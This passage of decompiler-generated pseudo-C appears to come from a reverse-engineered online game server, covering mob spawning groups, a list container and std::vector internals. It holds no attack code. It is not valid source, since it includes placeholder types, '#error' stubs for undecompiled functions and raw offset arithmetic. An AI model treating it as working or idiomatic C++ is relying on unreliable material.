MobDataBox::operator__(&mobdatabox, v6) ) { HIWORD(v7) = HIWORD(data); aitypea = 0; if ( data->rms_Number ) { while ( 1 ) { LOWORD(v7) = *(_WORD *)(v3 + 12); if ( (_WORD)v7 == -1 ) { v8 = 0; } else { hnd = v7; v8 = (void *)(*(int (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v3 + 4))(v3, v7); } if ( !v8 ) break; if ( v6 == -1 ) { AssertClass::ac_AssertFail( &shineassert, "MobRegenClass::MobBreederGroup::mbg_ScriptDataStore : Wrong mob name", v4); v6 = 1; } if ( !MobRegenClass::MobBreeder::mb_Set(v8, v3, v6, (int)&data->rms_regen, 1) ) (*(void (__thiscall **)(_DWORD, _DWORD))(*(_DWORD *)v3 + 8))(v3, hnd); if ( *(_BYTE *)(v3 + 6444) == 89 ) { if ( *(_DWORD *)(v3 + 6576) ) MobRegenClass::MobBreeder::mb_SetLeader(v8, *(_DWORD *)(v3 + 6576)); else *(_DWORD *)(v3 + 6576) = v8; } v7 = aitypea++ + 1; if ( aitypea >= data->rms_Number ) goto LABEL_21; } AssertClass::ac_AssertFail( &shineassert, "MobRegenClass::MobBreederGroup::mbg_ScriptDataStore : Too many mob in regengroup", 0); } } else { AssertClass::ac_AssertFail(&shineassert, "MobBreeder::mbg_ScriptDataStore : Invalid mob name", v4); } LABEL_21: --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit( &_PerformanceRecorder, "MobRegenClass::MobBreederGroup::mbg_ScriptDataStore"); } //----- (00481160) -------------------------------------------------------- void __thiscall MobHatchery::mh_View(MobHatchery *this, #440 *sp) { MobHatchery *v2; // esi@1 v2 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobHatchery::mh_View"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobHatchery::mh_View"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; invaster = sp; List::l_4AllInList( (List *)((char *)v2 + (_DWORD)((char *)&wholesaver + 18857024)), (char (__thiscall *)(AbnormalStateContainer::AbstateElementInObject *, List *, unsigned __int16))MobRegenClass::MobBreederGroup::mbg_View); --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobHatchery::mh_View"); } //----- (00481210) -------------------------------------------------------- void __thiscall List::l_MakeList(List *this, unsigned __int16 size) { List *v2; // esi@1 void *v3; // eax@3 signed int v4; // eax@4 int v5; // ecx@4 signed int v6; // eax@6 int v7; // ecx@7 unsigned __int16 v8; // ax@9 ListStruct *v9; // edi@9 int v10; // eax@9 v2 = this; this->l_MaxSize = size; if ( size == -1 ) { this->l_Array = 0; } else { v3 = operator new__(12 * (size + 1)); v2->l_Array = (ListStruct *)v3; if ( v3 ) { v4 = 0; v5 = 0; do { v2->l_Array[v5].ls_Content = 0; ++v4; ++v5; } while ( v4 <= v2->l_MaxSize ); v6 = 0; if ( v2->l_MaxSize > 0u ) { v7 = 0; do { v2->l_Array[v7].ls_Prev = v6 - 1; v2->l_Array[v7].ls_Next = v6 + 1; v2->l_Array[v7].ls_IsActiv = 0; ++v6; ++v7; } while ( v6 < v2->l_MaxSize ); } v2->l_Array->ls_Prev = v2->l_MaxSize - 1; *((_WORD *)&v2->l_Array[v2->l_MaxSize] - 4) = 0; v8 = v2->l_MaxSize; v9 = v2->l_Array; v2->l_Finger.store = v8; v2->l_Finger.empty = 0; v9[v8].ls_Prev = v8; v10 = (int)&v2->l_Array[v2->l_MaxSize]; *(_WORD *)(v10 + 4) = *(_WORD *)(v10 + 6); v2->l_Array[v2->l_MaxSize].ls_Content = 0; v2->l_Array[v2->l_MaxSize].ls_IsActiv = 1; v2->l_ListNum = 0; List::l_Clear(v2); } } } //----- (00481330) -------------------------------------------------------- void __cdecl std::_Uninit_fill_n>(FamilyMobManagement::MobSpeciesSlot *_First, unsigned int _Count, FamilyMobManagement::MobSpeciesSlot *_Val, std::allocator *_Al, std::_Nonscalar_ptr_iterator_tag __formal) { unsigned int v5; // ecx@2 FamilyMobManagement::MobSpeciesSlot *v6; // eax@2 if ( _Count ) { v5 = _Count; v6 = _First; do { if ( v6 ) { *(_DWORD *)&v6->mss_Species = *(_DWORD *)&_Val->mss_Species; v6->mss_Killed = _Val->mss_Killed; } ++v6; --v5; } while ( v5 ); } } //----- (00481370) -------------------------------------------------------- void __thiscall MobRegenClass::MobBreederGroup::MobBreederGroup(MobRegenClass::MobBreederGroup *this) { MobRegenClass::MobBreederGroup *v1; // esi@1 int v2; // edi@1 unsigned int v3; // ebx@1 int v4; // eax@3 signed int i; // [sp+10h] [bp-14h]@1 v1 = this; *(_DWORD *)this = List::_vftable_; *((_DWORD *)this + 4) = 0; List::l_MakeList((List *)this, 0x40u); v2 = (int)((char *)v1 + 24); *(_DWORD *)v1 = MobRegenClass::MobBreederGroup::_vftable_; _eh_vector_constructor_iterator_( (char *)v1 + 24, 0x64u, 64, (void (__thiscall *)(void *))MobRegenClass::MobBreeder::MobBreeder, (void (__thiscall *)(void *))ShineObjectClass::ShineMobileObject::smo_ChineCastCut); *((_DWORD *)v1 + 1610) = 0; *((_DWORD *)v1 + 1609) = 0; *((_DWORD *)v1 + 1608) = 0; *((_DWORD *)v1 + 1607) = 0; *((_DWORD *)v1 + 1606) = 0; *(_DWORD *)((char *)v1 + 6501) = 0; *(_DWORD *)((char *)v1 + 6497) = 0; *(_DWORD *)((char *)v1 + 6493) = 0; *((_DWORD *)v1 + 1631) = 0; *((_DWORD *)v1 + 1630) = 0; *((_DWORD *)v1 + 1629) = 0; *((_DWORD *)v1 + 1628) = 0; *((_DWORD *)v1 + 1627) = 0; i = 0; v3 = 0; do { if ( i < *((_WORD *)v1 + 2) ) { v4 = *((_DWORD *)v1 + 2) + v3; if ( !*(_DWORD *)v4 ) *(_DWORD *)v4 = v2; } FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobRegenClass::MobBreeder::mb_SetGroup"); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobRegenClass::MobBreeder::mb_SetGroup"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; *(_DWORD *)v2 = v1; *(_BYTE *)(v2 + 68) = 1; *(_DWORD *)(v2 + 64) = 0; --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobRegenClass::MobBreeder::mb_SetGroup"); v3 += 12; v2 += 100; ++i; } while ( v3 < 0x300 ); *((_DWORD *)v1 + 1645) = 0; } // 5ACE50: using guessed type int (__stdcall *List_MobRegenClass__MobBreeder____vftable_[3])(__int16 hnd); // 5ACFE8: using guessed type int (__thiscall *MobRegenClass__MobBreederGroup___vftable_[3])(List *this, __int16 hnd); //----- (004814D0) -------------------------------------------------------- void __thiscall MobHatchery::mh_ScriptBreed(MobHatchery *this, Name3 *map_, MobRegenStruct::RegenMobStruct *data, MobRegenStruct::RegenGroupStruct *group, ORToken *aitype) { MobHatchery *v5; // esi@1 int v6; // eax@1 int v7; // esi@2 v5 = this; FunctionProfiler::PerformanceRecorder::pr_Entrance(&_PerformanceRecorder, "MobHatchery::mh_ScriptBreed"); HIWORD(v6) = HIWORD(funcallanalizer.fca_stackpoint); funcallanalizer.fca_stack[funcallanalizer.fca_stackpoint] = "MobHatchery::mh_ScriptBreed"; funcallanalizer.fca_Flag[funcallanalizer.fca_stackpoint++] = -1; LOWORD(v6) = *(_WORD *)((char *)v5 + (_DWORD)((char *)&wholesaver + 18857036)); if ( (_WORD)v6 == -1 ) v7 = 0; else v7 = (*(int (__stdcall **)(int))(*(_DWORD *)((char *)v5 + (_DWORD)((char *)&wholesaver + 18857024)) + 4))(v6); if ( v7 ) { MobRegenClass::MobBreederGroup::mbg_Set( (MobRegenClass::MobBreederGroup *)v7, &data->rms_groupname, map_, group->rgs_family, &group->rgs_regreg); *(_DWORD *)(v7 + 6580) = MobRoaming::MobRoamingSet::mrs_Get(&roamingpaths, &data->rms_groupname); MobRegenClass::MobBreederGroup::mbg_ScriptDataStore((MobRegenClass::MobBreederGroup *)v7, data, aitype); } else { AssertClass::ac_AssertFail(&shineassert, "MobHatchery::mh_ScriptBreed : Too many MobRegenGroup", 0); } --funcallanalizer.fca_stackpoint; FunctionProfiler::PerformanceRecorder::pr_Exit(&_PerformanceRecorder, "MobHatchery::mh_ScriptBreed"); } //----- (004815E0) -------------------------------------------------------- FamilyMobManagement::MobSpeciesSlot *__thiscall std::vector>::_Ucopy(std::allocator *_Al, std::vector >::const_iterator _First, std::vector >::const_iterator _Last, FamilyMobManagement::MobSpeciesSlot *__formal) { return std::_Uninit_copy>::const_iterator_FamilyMobManagement::MobSpeciesSlot___std::allocator>( _First, _Last, __formal, _Al, (std::_Nonscalar_ptr_iterator_tag)__formal); } //----- (00481600) -------------------------------------------------------- void __thiscall MobHatchery::MobHatchery(MobHatchery *this) { MobHatchery *v1; // ebx@1 char *v2; // esi@1 signed int v3; // edi@1 int v4; // eax@1 int v5; // edx@1 int v6; // ecx@3 int v7; // ebp@3 int v8; // ecx@3 int v9; // ecx@6 int v10; // ebp@6 int v11; // ecx@6 int v12; // ecx@9 int v13; // ebp@9 int v14; // ecx@9 int v15; // ecx@12 int v16; // ebp@12 int v17; // ecx@12 signed int v18; // [sp+10h] [bp-10h]@1 v1 = this; _eh_vector_constructor_iterator_( this, 0x19B8u, 4096, (void (__thiscall *)(void *))MobRegenClass::MobBreederGroup::MobBreederGroup, (void (__thiscall *)(void *))MobRegenClass::MobBreederGroup::_MobBreederGroup); v2 = (char *)v1 + (_DWORD)((char *)&wholesaver + 18857024); *(_DWORD *)((char *)v1 + (_DWORD)((char *)&wholesaver + 18857024)) = List::_vftable_; *(_DWORD *)((char *)v1 + (_DWORD)((char *)&wholesaver + 18857024) + 16) = 0; List::l_MakeList( (List *)((char *)v1 + (_DWORD)((char *)&wholesaver + 18857024)), 0x1000u); *(_DWORD *)((char *)v1 + (_DWORD)((char *)&wholesaver + 18857024)) = MobRegenClass::MobRegenGroupList::_vftable_; v3 = 2; v4 = 0; v5 = (int)((char *)v1 + 13168); v18 = 1024; do { if ( v3 - 2 < *((_WORD *)v2 + 2) ) { v6 = *((_DWORD *)v2 + 2); v7 = *(_DWORD *)(v6 + v4); v8 = v4 + v6; if ( !v7 ) *(_DWORD *)v8 = v5 - 13168; } if ( v3 - 1 < *((_WORD *)v2 + 2) ) { v9 = *((_DWORD *)v2 + 2); v10 = *(_DWORD *)(v9 + v4 + 12); v11 = v9 + v4 + 12; if ( !v10 ) *(_DWORD *)v11 = v5 - 6584; } if ( v3 < *((_WORD *)v2 + 2) ) { v12 = *((_DWORD *)v2 + 2); v13 = *(_DWORD *)(v12 + v4 + 24); v14 = v12 + v4 + 24; if ( !v13 ) *(_DWORD *)v14 = v5; } if ( v3 + 1 < *((_WORD *)v2 + 2) ) { v15 = *((_DWORD *)v2 + 2); v16 = *(_DWORD *)(v15 + v4 + 36); v17 = v15 + v4 + 36; if ( !v16 ) *(_DWORD *)v17 = v5 + 6584; } v5 += 26336; v4 += 48; v3 += 4; --v18; } while ( v18 ); } // 5ACE6C: using guessed type int (__stdcall *List_MobRegenClass__MobBreederGroup____vftable_[3])(__int16 hnd); // 5AD67C: using guessed type int (__stdcall *MobRegenClass__MobRegenGroupList___vftable_[3])(__int16 hnd); //----- (00481730) -------------------------------------------------------- FamilyMobManagement::MobSpeciesSlot *__thiscall std::vector>::_Ufill(std::vector > *this, FamilyMobManagement::MobSpeciesSlot *_Ptr, unsigned int _Count, FamilyMobManagement::MobSpeciesSlot *_Val) { std::_Uninit_fill_n>( _Ptr, _Count, _Val, &this->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); return &_Ptr[_Count]; } //----- (00481760) -------------------------------------------------------- void __thiscall std::vector>::_Xlen(std::vector > *this) { std::basic_string,std::allocator > thisa; // [sp+0h] [bp-50h]@1 int (__thiscall **pExceptionObject)(void *, char); // [sp+1Ch] [bp-34h]@1 int v3; // [sp+4Ch] [bp-4h]@1 thisa._Myres = 15; thisa._Mysize = 0; thisa._Bx._Buf[0] = 0; std::basic_string_std::allocator>::assign(&thisa, "vector too long", 0x12u); v3 = 0; std::logic_error::logic_error((std::logic_error *)&pExceptionObject, &thisa); pExceptionObject = &std::length_error::_vftable_; _CxxThrowException(&pExceptionObject, &_TI3_AVlength_error_std__); } // 5DBB58: using guessed type int (__thiscall *std__length_error___vftable_)(void *p, char); //----- (004817D0) -------------------------------------------------------- bool __thiscall std::vector>::_Buy(std::vector > *this, unsigned int _Capacity) { std::vector > *v2; // esi@1 bool result; // al@2 void *v4; // eax@5 v2 = this; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( _Capacity ) { if ( _Capacity > 0x2AAAAAAA ) std::vector>::_Xlen((std::vector > *)this); v4 = operator new(6 * _Capacity); v2->_Myend = (FamilyMobManagement::MobSpeciesSlot *)((char *)v4 + 6 * _Capacity); v2->_Myfirst = (FamilyMobManagement::MobSpeciesSlot *)v4; v2->_Mylast = (FamilyMobManagement::MobSpeciesSlot *)v4; result = 1; } else { result = 0; } return result; } //----- (00481820) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, const unsigned int *_Val) { std::vector > *v4; // esi@1 unsigned int *v5; // edx@1 signed int v6; // eax@2 unsigned int v7; // edi@4 signed int v8; // ecx@6 int v9; // ecx@11 int v10; // eax@15 int v11; // ecx@18 int v12; // eax@22 void *v13; // eax@25 unsigned int v14; // ebp@25 int v15; // eax@25 #331 **v16; // eax@25 unsigned int *v17; // eax@25 int v18; // ecx@26 int v19; // edi@28 int v20; // ebp@31 std::vector >::iterator v21; // ebx@31 int v22; // edx@31 unsigned int v23; // eax@31 int v24; // ecx@32 #331 **v25; // edi@33 void *_Newvec; // [sp+0h] [bp-4h]@25 unsigned int _Wherea; // [sp+8h] [bp+4h]@31 int _Counta; // [sp+Ch] [bp+8h]@25 v4 = this; v5 = this->_Myfirst; _Val = (const unsigned int *)*_Val; if ( v5 ) v6 = this->_Myend - v5; else v6 = 0; v7 = _Count; if ( _Count ) { if ( v5 ) v8 = this->_Mylast - v5; else v8 = 0; if ( 1073741823 - v8 < _Count ) std::vector>::_Xlen(v4); if ( v5 ) v9 = v4->_Mylast - v5; else v9 = 0; if ( v6 >= _Count + v9 ) { v20 = (int)v4->_Mylast; v21 = _Where; v22 = (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2; v23 = 4 * _Count; _Wherea = 4 * _Count; if ( v22 >= _Count ) { v25 = (#331 **)(v20 - v23); v4->_Mylast = (unsigned int *)std::vector>::_Ucopy( (char *)(v20 - v23), v20, (char *)v20); std::copy_backward( *(#331 ***)&v21, v25, (#331 **)v20); std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(*(_DWORD *)&v21 + _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } else { std::vector>::_Ucopy( *(char **)&v21, v20, (char *)(*(_DWORD *)&v21 + v23)); std::vector>::_Ufill( (std::vector > *)v4, (#331 **)v4->_Mylast, _Count - ((signed int)((char *)v4->_Mylast - *(_DWORD *)&v21) >> 2)); v24 = (int)&v4->_Mylast[_Wherea / 4]; v4->_Mylast = (unsigned int *)v24; std::fill( *(std::list,std::allocator > >::iterator **)&v21, (std::list,std::allocator > >::iterator *)(v24 - _Wherea), (std::list,std::allocator > >::iterator *)&_Val); } } else { if ( 1073741823 - ((unsigned int)v6 >> 1) >= v6 ) v10 = ((unsigned int)v6 >> 1) + v6; else v10 = 0; if ( v5 ) v11 = v4->_Mylast - v5; else v11 = 0; if ( v10 < _Count + v11 ) { if ( v5 ) v12 = v4->_Mylast - v5; else v12 = 0; v10 = _Count + v12; } _Counta = 4 * v10; v13 = operator new(4 * v10); v14 = 4 * ((signed int)(*(_DWORD *)&_Where - (unsigned int)v4->_Myfirst) >> 2); _Newvec = v13; memmove((char *)v13, (char *)v4->_Myfirst, v14); v16 = std::vector>::_Ufill( (std::vector > *)v4, (#331 **)(v14 + v15), v7); memmove((char *)v16, *(char **)&_Where, 4 * ((signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) >> 2)); v17 = v4->_Myfirst; if ( v17 ) v18 = v4->_Mylast - v17; else v18 = 0; v19 = v18 + v7; if ( v17 ) operator delete(v4->_Myfirst); v4->_Myend = (unsigned int *)((char *)_Newvec + _Counta); v4->_Mylast = (unsigned int *)((char *)_Newvec + 4 * v19); v4->_Myfirst = (unsigned int *)_Newvec; } } } //----- (00481A00) -------------------------------------------------------- void __thiscall std::vector>::_Insert_n(std::vector > *this, std::vector >::iterator _Where, unsigned int _Count, FamilyMobManagement::MobSpeciesSlot *_Val) { std::vector > *v4; // esi@1 unsigned __int16 v5; // dx@1 FamilyMobManagement::MobSpeciesSlot *v6; // ecx@1 int v7; // ebx@2 unsigned int v8; // edi@4 int v9; // eax@6 int v10; // eax@11 int v11; // ebx@15 int v12; // eax@18 std::vector >::const_iterator v13; // ST14_4@22 FamilyMobManagement::MobSpeciesSlot *v14; // ecx@22 int v15; // eax@23 int v16; // edi@25 FamilyMobManagement::MobSpeciesSlot *v17; // edx@26 FamilyMobManagement::MobSpeciesSlot *v18; // eax@26 std::vector >::const_iterator v19; // ecx@30 std::vector >::iterator v20; // ebx@30 FamilyMobManagement::MobSpeciesSlot *v21; // ecx@31 FamilyMobManagement::MobSpeciesSlot *v22; // ST20_4@31 unsigned int v23; // edi@31 int v24; // [sp+0h] [bp-24h]@1 int _Tmp; // [sp+Ch] [bp-18h]@1 unsigned __int16 v26; // [sp+10h] [bp-14h]@1 int *v27; // [sp+14h] [bp-10h]@1 int v28; // [sp+20h] [bp-4h]@22 FamilyMobManagement::MobSpeciesSlot *_Wherea; // [sp+2Ch] [bp+8h]@32 FamilyMobManagement::MobSpeciesSlot *_Counta; // [sp+30h] [bp+Ch]@22 void *_Newvec; // [sp+34h] [bp+10h]@22 FamilyMobManagement::MobSpeciesSlot *_Newveca; // [sp+34h] [bp+10h]@30 v4 = this; v5 = _Val->mss_Killed; _Tmp = *(_DWORD *)&_Val->mss_Species; v6 = this->_Myfirst; v27 = &v24; v26 = v5; if ( v6 ) v7 = v4->_Myend - v6; else v7 = 0; v8 = _Count; if ( _Count ) { if ( v6 ) v9 = v4->_Mylast - v6; else v9 = 0; if ( 715827882 - v9 < _Count ) std::vector>::_Xlen((std::vector > *)v4); if ( v6 ) v10 = v4->_Mylast - v6; else v10 = 0; if ( v7 >= _Count + v10 ) { v19 = (std::vector >::const_iterator)v4->_Mylast; v20 = _Where; _Newveca = v4->_Mylast; if ( (signed int)((char *)v4->_Mylast - *(_DWORD *)&_Where) / 6 >= _Count ) { _Wherea = (FamilyMobManagement::MobSpeciesSlot *)(*(_DWORD *)&v19 - 6 * _Count); v4->_Mylast = std::_Uninit_copy>::const_iterator_FamilyMobManagement::MobSpeciesSlot___std::allocator>( (std::vector >::const_iterator)(*(_DWORD *)&v19 - 6 * _Count), v19, *(FamilyMobManagement::MobSpeciesSlot **)&v19, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(v19.___u0.baseclass_0.baseclass_0.dummy[0] - 6 * _Count)); std::copy_backward( *(FamilyMobManagement::MobSpeciesSlot **)&v20, _Wherea, _Newveca); std::fill( *(FamilyMobManagement::MobSpeciesSlot **)&v20, (FamilyMobManagement::MobSpeciesSlot *)(*(_DWORD *)&v20 + 6 * _Count), (FamilyMobManagement::MobSpeciesSlot *)&_Tmp); } else { std::_Uninit_copy>::const_iterator_FamilyMobManagement::MobSpeciesSlot___std::allocator>( _Where.baseclass_0, v19, (FamilyMobManagement::MobSpeciesSlot *)(*(_DWORD *)&_Where + 6 * _Count), &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)(6 * _Count)); v21 = v4->_Mylast; v22 = v4->_Mylast; v28 = 2; std::vector>::_Ufill( v4, v22, _Count - (signed int)((char *)v21 - *(_DWORD *)&_Where) / 6, (FamilyMobManagement::MobSpeciesSlot *)&_Tmp); v23 = (unsigned int)&v4->_Mylast[_Count]; v4->_Mylast = (FamilyMobManagement::MobSpeciesSlot *)v23; std::fill( *(FamilyMobManagement::MobSpeciesSlot **)&_Where, (FamilyMobManagement::MobSpeciesSlot *)(v23 - 6 * _Count), (FamilyMobManagement::MobSpeciesSlot *)&_Tmp); } } else { if ( 715827882 - ((unsigned int)v7 >> 1) >= v7 ) v11 = ((unsigned int)v7 >> 1) + v7; else v11 = 0; if ( v6 ) v12 = v4->_Mylast - v6; else v12 = 0; if ( v11 < _Count + v12 ) v11 = _Count + std::vector>::size(v4); _Newvec = operator new(6 * v11); v13 = (std::vector >::const_iterator)v4->_Myfirst; v28 = 0; _Counta = std::_Uninit_copy>::const_iterator_FamilyMobManagement::MobSpeciesSlot___std::allocator>( v13, _Where.baseclass_0, (FamilyMobManagement::MobSpeciesSlot *)_Newvec, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_fill_n>( _Counta, v8, (FamilyMobManagement::MobSpeciesSlot *)&_Tmp, &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); std::_Uninit_copy>::const_iterator_FamilyMobManagement::MobSpeciesSlot___std::allocator>( _Where.baseclass_0, (std::vector >::const_iterator)v4->_Mylast, &_Counta[v8], &v4->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Where.baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0]); v14 = v4->_Myfirst; if ( v14 ) v15 = v4->_Mylast - v14; else v15 = 0; v16 = v15 + v8; if ( v14 ) { v17 = v4->_Mylast; v18 = v4->_Myfirst; if ( v14 != v17 ) { do ++v18; while ( v18 != v17 ); } operator delete(v4->_Myfirst); } v4->_Myend = (FamilyMobManagement::MobSpeciesSlot *)((char *)_Newvec + 6 * v11); v4->_Mylast = (FamilyMobManagement::MobSpeciesSlot *)((char *)_Newvec + 6 * v16); v4->_Myfirst = (FamilyMobManagement::MobSpeciesSlot *)_Newvec; } } } //----- (00481CC0) -------------------------------------------------------- void __thiscall std::vector>::vector>(std::vector > *this, std::vector > *_Right) { FamilyMobManagement::MobSpeciesSlot *v2; // eax@1 std::vector > *v3; // esi@1 int v4; // eax@2 int v5; // edi@7 void *v6; // eax@7 std::vector >::const_iterator v7; // ecx@7 std::vector >::const_iterator v8; // ST00_4@7 int v9; // [sp+0h] [bp-20h]@1 std::vector > *v10; // [sp+Ch] [bp-14h]@1 int *v11; // [sp+10h] [bp-10h]@1 int v12; // [sp+1Ch] [bp-4h]@7 v2 = _Right->_Myfirst; v3 = this; v11 = &v9; v10 = this; if ( v2 ) v4 = _Right->_Mylast - v2; else v4 = 0; this->_Myfirst = 0; this->_Mylast = 0; this->_Myend = 0; if ( v4 ) { if ( (unsigned int)v4 > 0x2AAAAAAA ) std::vector>::_Xlen((std::vector > *)this); v5 = 6 * v4; v6 = operator new(6 * v4); v3->_Myfirst = (FamilyMobManagement::MobSpeciesSlot *)v6; v3->_Mylast = (FamilyMobManagement::MobSpeciesSlot *)v6; v3->_Myend = (FamilyMobManagement::MobSpeciesSlot *)((char *)v6 + v5); v7 = (std::vector >::const_iterator)_Right->_Mylast; v8 = (std::vector >::const_iterator)_Right->_Myfirst; v12 = 0; v3->_Mylast = std::_Uninit_copy>::const_iterator_FamilyMobManagement::MobSpeciesSlot___std::allocator>( v8, v7, (FamilyMobManagement::MobSpeciesSlot *)v6, &v3->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Right); } } //----- (00481D6F) -------------------------------------------------------- void __usercall _L167287(int a1) { std::vector>::_vector>(*(std::vector,std::allocator > >::iterator,std::allocator,std::allocator>::operator_(void *this, int __formal) { void *v2; // esi@1 FamilyMobManagement::MobSpeciesSlot *v3; // ebp@2 int v4; // ecx@3 void *result; // eax@6 FamilyMobManagement::MobSpeciesSlot *v6; // edi@7 int v7; // eax@8 int v8; // eax@11 int v9; // eax@15 unsigned int v10; // ebp@18 unsigned int v11; // eax@21 v2 = this; if ( this == (void *)__formal ) return v2; v3 = *(FamilyMobManagement::MobSpeciesSlot **)(__formal + 4); if ( v3 ) { v4 = (*(_DWORD *)(__formal + 8) - (signed int)v3) / 6; if ( v4 ) { v6 = (FamilyMobManagement::MobSpeciesSlot *)*((_DWORD *)v2 + 1); if ( v6 ) v7 = (*((_DWORD *)v2 + 2) - (signed int)v6) / 6; else v7 = 0; if ( v4 <= (unsigned int)v7 ) { std::copy( v3, *(FamilyMobManagement::MobSpeciesSlot **)(__formal + 8), *((FamilyMobManagement::MobSpeciesSlot **)v2 + 1)); v8 = *(_DWORD *)(__formal + 4); if ( v8 ) { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1) + 6 * (*(_DWORD *)(__formal + 8) - v8) / 6; result = v2; } else { *((_DWORD *)v2 + 2) = *((_DWORD *)v2 + 1); result = v2; } return result; } if ( v6 ) v9 = (*((_DWORD *)v2 + 3) - (signed int)v6) / 6; else v9 = 0; if ( v4 <= (unsigned int)v9 ) { v10 = (unsigned int)&v3[std::vector>::size((std::vector > *)v2)]; std::copy( *(FamilyMobManagement::MobSpeciesSlot **)(__formal + 4), (FamilyMobManagement::MobSpeciesSlot *)v10, v6); *((_DWORD *)v2 + 2) = std::_Uninit_copy>::const_iterator_FamilyMobManagement::MobSpeciesSlot___std::allocator>( (std::vector >::const_iterator)v10, *(std::vector >::const_iterator *)(__formal + 8), *((FamilyMobManagement::MobSpeciesSlot **)v2 + 2), (std::allocator *)v2, (std::_Nonscalar_ptr_iterator_tag)__formal); return v2; } if ( v6 ) operator delete(*((void **)v2 + 1)); v11 = std::vector>::size((std::vector > *)__formal); if ( std::vector>::_Buy( (std::vector > *)v2, v11) ) *((_DWORD *)v2 + 2) = std::vector>::_Ucopy( (std::allocator *)v2, *(std::vector >::const_iterator *)(__formal + 4), *(std::vector >::const_iterator *)(__formal + 8), *((FamilyMobManagement::MobSpeciesSlot **)v2 + 1)); return v2; } } if ( *((_DWORD *)v2 + 1) ) operator delete(*((void **)v2 + 1)); *((_DWORD *)v2 + 1) = 0; *((_DWORD *)v2 + 2) = 0; *((_DWORD *)v2 + 3) = 0; return v2; } //----- (00481F00) -------------------------------------------------------- void __thiscall std::vector>::resize(std::vector > *this, unsigned int _Newsize, unsigned int _Val) { std::vector > *v3; // esi@1 unsigned int *v4; // edx@1 signed int v5; // eax@2 signed int v6; // eax@6 unsigned int *v7; // eax@10 char *v8; // edx@11 unsigned int *v9; // eax@12 v3 = this; v4 = this->_Myfirst; if ( v4 ) v5 = this->_Mylast - v4; else v5 = 0; if ( v5 >= _Newsize ) { if ( v4 ) { v7 = this->_Mylast; if ( _Newsize < this->_Mylast - v4 ) { v8 = (char *)&v4[_Newsize]; if ( (unsigned int *)v8 != v7 ) { memmove(v8, (char *)v7, 0); v3->_Mylast = v9; } } } } else { if ( v4 ) v6 = this->_Mylast - v4; else v6 = 0; std::vector>::_Insert_n( this, (std::vector >::iterator)this->_Mylast, _Newsize - v6, &_Val); } } //----- (00481F90) -------------------------------------------------------- std::vector >::iterator *__thiscall std::vector>::insert(std::vector > *this, std::vector >::iterator *result, std::vector >::iterator _Where, FamilyMobManagement::MobSpeciesSlot *_Val) { std::vector > *v4; // edi@1 FamilyMobManagement::MobSpeciesSlot *v5; // esi@1 int v6; // esi@3 std::vector >::iterator *v7; // eax@5 v4 = this; v5 = this->_Myfirst; if ( v5 && this->_Mylast - v5 ) v6 = (*(_DWORD *)&_Where - (signed int)v5) / 6; else v6 = 0; std::vector>::_Insert_n( this, _Where, 1u, _Val); v7 = result; *(_DWORD *)&result->baseclass_0.___u0.baseclass_0.baseclass_0.dummy[0] = &v4->_Myfirst[v6]; return v7; } //----- (00482000) -------------------------------------------------------- #error "482000: undefined or illegal type '#811' (funcsize=36)" //----- (00482060) -------------------------------------------------------- #error "482060: undefined or illegal type '#811' (funcsize=27)" //----- (004820A0) -------------------------------------------------------- #error "4820A0: undefined or illegal type '#811' (funcsize=27)" //----- (004820E0) -------------------------------------------------------- #error "4820E0: undefined or illegal type '#811' (funcsize=50)" //----- (004821B0) -------------------------------------------------------- #error "4821B0: undefined or illegal type '#811' (funcsize=78)" //----- (004822C0) -------------------------------------------------------- void __thiscall std::vector>::push_back(std::vector > *this, FamilyMobManagement::MobSpeciesSlot *_Val) { std::vector > *v2; // esi@1 FamilyMobManagement::MobSpeciesSlot *v3; // edi@1 int v4; // ecx@2 FamilyMobManagement::MobSpeciesSlot *v5; // edi@6 v2 = this; v3 = this->_Myfirst; if ( v3 ) v4 = this->_Mylast - v3; else v4 = 0; if ( v3 && v4 < v2->_Myend - v3 ) { v5 = v2->_Mylast; std::_Uninit_fill_n>( v2->_Mylast, 1u, _Val, &v2->baseclass_0._Alval, (std::_Nonscalar_ptr_iterator_tag)_Val); v2->_Mylast = v5 + 1; } else { std::vector>::insert( v2, (std::vector >::iterator *)&_Val, (std::vector >::iterator)v2->_Mylast, _Val); } } //----- (00482340) -------------------------------------------------------- #error "482340: undefined or illegal type '#811' (funcsize=34)" //----- (00482390) -------------------------------------------------------- #error "482390: undefined or illegal type '#811' (funcsize=23)" //----- (004823C0) -------------------------------------------------------- int __thiscall ShineObjectClass::ShineMob::so_mob_Regenerate(void *this, int map_, int x, int y, signed int dir, int handle, int mobid, int bandittemplete, int regnum, int a10, int a11, int lev, char blockdata) { void *v13; // ebp@1 int 